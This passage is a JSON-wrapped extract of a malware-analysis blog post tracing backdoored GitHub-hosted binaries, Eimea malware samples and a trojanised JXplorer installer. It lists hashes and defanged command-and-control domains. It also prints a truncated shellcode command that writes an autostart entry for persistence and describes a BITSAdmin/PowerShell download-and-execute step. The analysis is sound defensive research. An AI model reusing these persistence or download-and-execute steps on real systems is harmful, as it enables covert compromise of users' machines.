both\r\nmodified JXplorer installers (for Windows and Linux) could be connected by following linked GitHub accounts (see\r\npoint 1.)\r\nIs this the end?\r\nLet’s find out! Following up on specific indicators found in analyzed files and collected metadata about GitHub repositories\r\nI was able to discover additional related pieces of malicious code.\r\nI started with VirusTotal hunting capabilities - the search returned a set of binaries belonging to the same malware family:\r\nEimea Lite App. The functionality and supported commands of this malware seems to be closely tied with previously\r\ndiscussed FEimea Portable App. The main difference is that while FEimea Portable App is written in Java, the Eimea Lite\r\nApp comes in the form of compiled binaries for both Windows and Linux operating systems. Each observed instance of\r\nEimea Lite App was built into the LAME encoder tool, likely in order to thwart detection.\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 14 of 16\n\nOne of the oldest samples uploaded to VirusTotal on 2017-08-26 was (unsurprisingly) named supreme_bot2.cpl (MD5:\r\n815db0de2c6a610797c6735511eaaaf9 , VT). The sample uses two command and control servers:\r\nsanemarine.duckdns[.]org , lemonade.freeddns[.]org ; contains two self signed certificates issued for Allesare Ltd.\r\nand supports similar set of commands as Java based FEimea Portable App:\r\n1 CAPABILITY EIAPrev1.33 EAUTH SELECT EXAMINE STATUS PWD LIST STAT SEARCH ESEARCH RENAME HASH FETCH COPY APPEND LINK SYMLINK REMOVE A\r\nThe most recent sample Aero.cpl (MD5: dd3a38ee6b5b6340acd3bb8099f928a8 , VT) was uploaded to VirusTotal on 2018-\r\n11-25, which correlates with version string present in the file:\r\n1\r\n2\r\n3\r\n4\r\nEimea Lite app - ver. 3.11 Mainline\r\nAudio system : IMM Framework\r\nAudio codecs : pcm lame-mp3 opencore-amrnb soxr\r\nBuild Nov 25 2018 11:54:25 Win32\r\nThis instance uses the same command and control servers that were observed in initially analyzed sample of the FEimea\r\nPortable App (MD5: 65579b8ed47ca163fae2b3dffd8b4d5a ): limons.duckdns[.]org and polarbear.freeddns[.]org .\r\nMy other search focused on further exploration of the GitHub graph. I previously mentioned that suspicious GitHub\r\naccounts and repositories created a confined network - however the graph also included entries that seemed to be a bit off.\r\nOne of these entries was an account of Andrew Dunkins (adunkins [Wayback Machine copy]), that included a set of nine\r\nrepositories, each hosting Linux cross compilation tools. Each repository was watched or starred by several already known\r\nsuspicious accounts.\r\nThe account seemed to be legitimate at first sight - it included a profile picture and description, which was not consistent\r\nwith previously discovered accounts. However a look at a sample ELF binary ( i686-w64-mingw32-addr2line , MD5:\r\nb54156221d1c5387b8de0eb4605dc3a0 , VT) hosted in one of the repositories quickly proved I was wrong. At the end of the\r\nbinary there was a shellcode, almost identical to the one found in the ffmpeg binaries obtained from the ballory/ffmpeg\r\nrepository. The only difference was that shellcode was set to execute the following command:\r\n1 /bin/sh -c cd /home/`whoami`/.config;mkdir autostart;cd autostart;\u003ey echo [Desktop Entry];\u003e\u003ey echo Type=Application;\u003e\u003ey echo Exec=/\r\nOverall there were 305 backdoored ELF binaries in nine GitHub repositories belonging to Andrew Dunkins.\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 15 of 16\n\nFollowing that trail I found one additional account (snacknroll11) that starred some of Andrew Dunkins’ repositories and\r\nthat contained a repository with interesting name and description (streettalk_priv_bot - Supreme Bot [Wayback Machine\r\ncopy]).\r\nDespite the name and description of the binary, the file included in that repository ( supremebot.exe ) turned out to be\r\nsomething else - something that I have seen previously and something that provided a great closure for this post.\r\nThe file supremebot.exe (MD5: 6ee28018e7d31aef0b4fd6940dff1d0a , VT) was actually another modified version of\r\nJXplorer 3.3.1.2 installer for Windows. The installer also contained changed http-2.7.9.tm file (MD5:\r\n3a75c6b9b8452587b9e809aaaf2ee8c4 , VT) however some actions performed by the Tcl script were slightly different from\r\nthe initially analyzed version:\r\nIt used BITSAdmin and PowerShell to download and execute a batch script from hxxp://enl.duckdns[.]org\r\nIt dropped a JAR file (MD5: d7c4a1d4f75045a2a1e324ae5114ea17 , VT) to BR.jar . The JAR file was another\r\nversion of previously described JDL downloader\r\nSo is this the end? I don’t think so :-)\r\nAppendix\r\nPlease note that GitHub has now removed identified accounts and repositories. Copies of the repositories showing their\r\ncontent are available via Wayback Machine. Where possible I included links to Wayback Machine copies in the above post.\r\nList of GitHub accounts\r\nList of GitHub repositories\r\nList of indicators\r\nSource: https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 16 of 16",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/"
	],
	"report_names": [
		"the-supreme-backdoor-factory"
	],
	"threat_actors": [],
	"ts_created_at": 1775434293,
	"ts_updated_at": 1775791206,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/b6f8f7a3aaaf66b4db83be47d102fff450a26aff.pdf",
		"text": "https://archive.orkl.eu/b6f8f7a3aaaf66b4db83be47d102fff450a26aff.txt",
		"img": "https://archive.orkl.eu/b6f8f7a3aaaf66b4db83be47d102fff450a26aff.jpg"
	}
}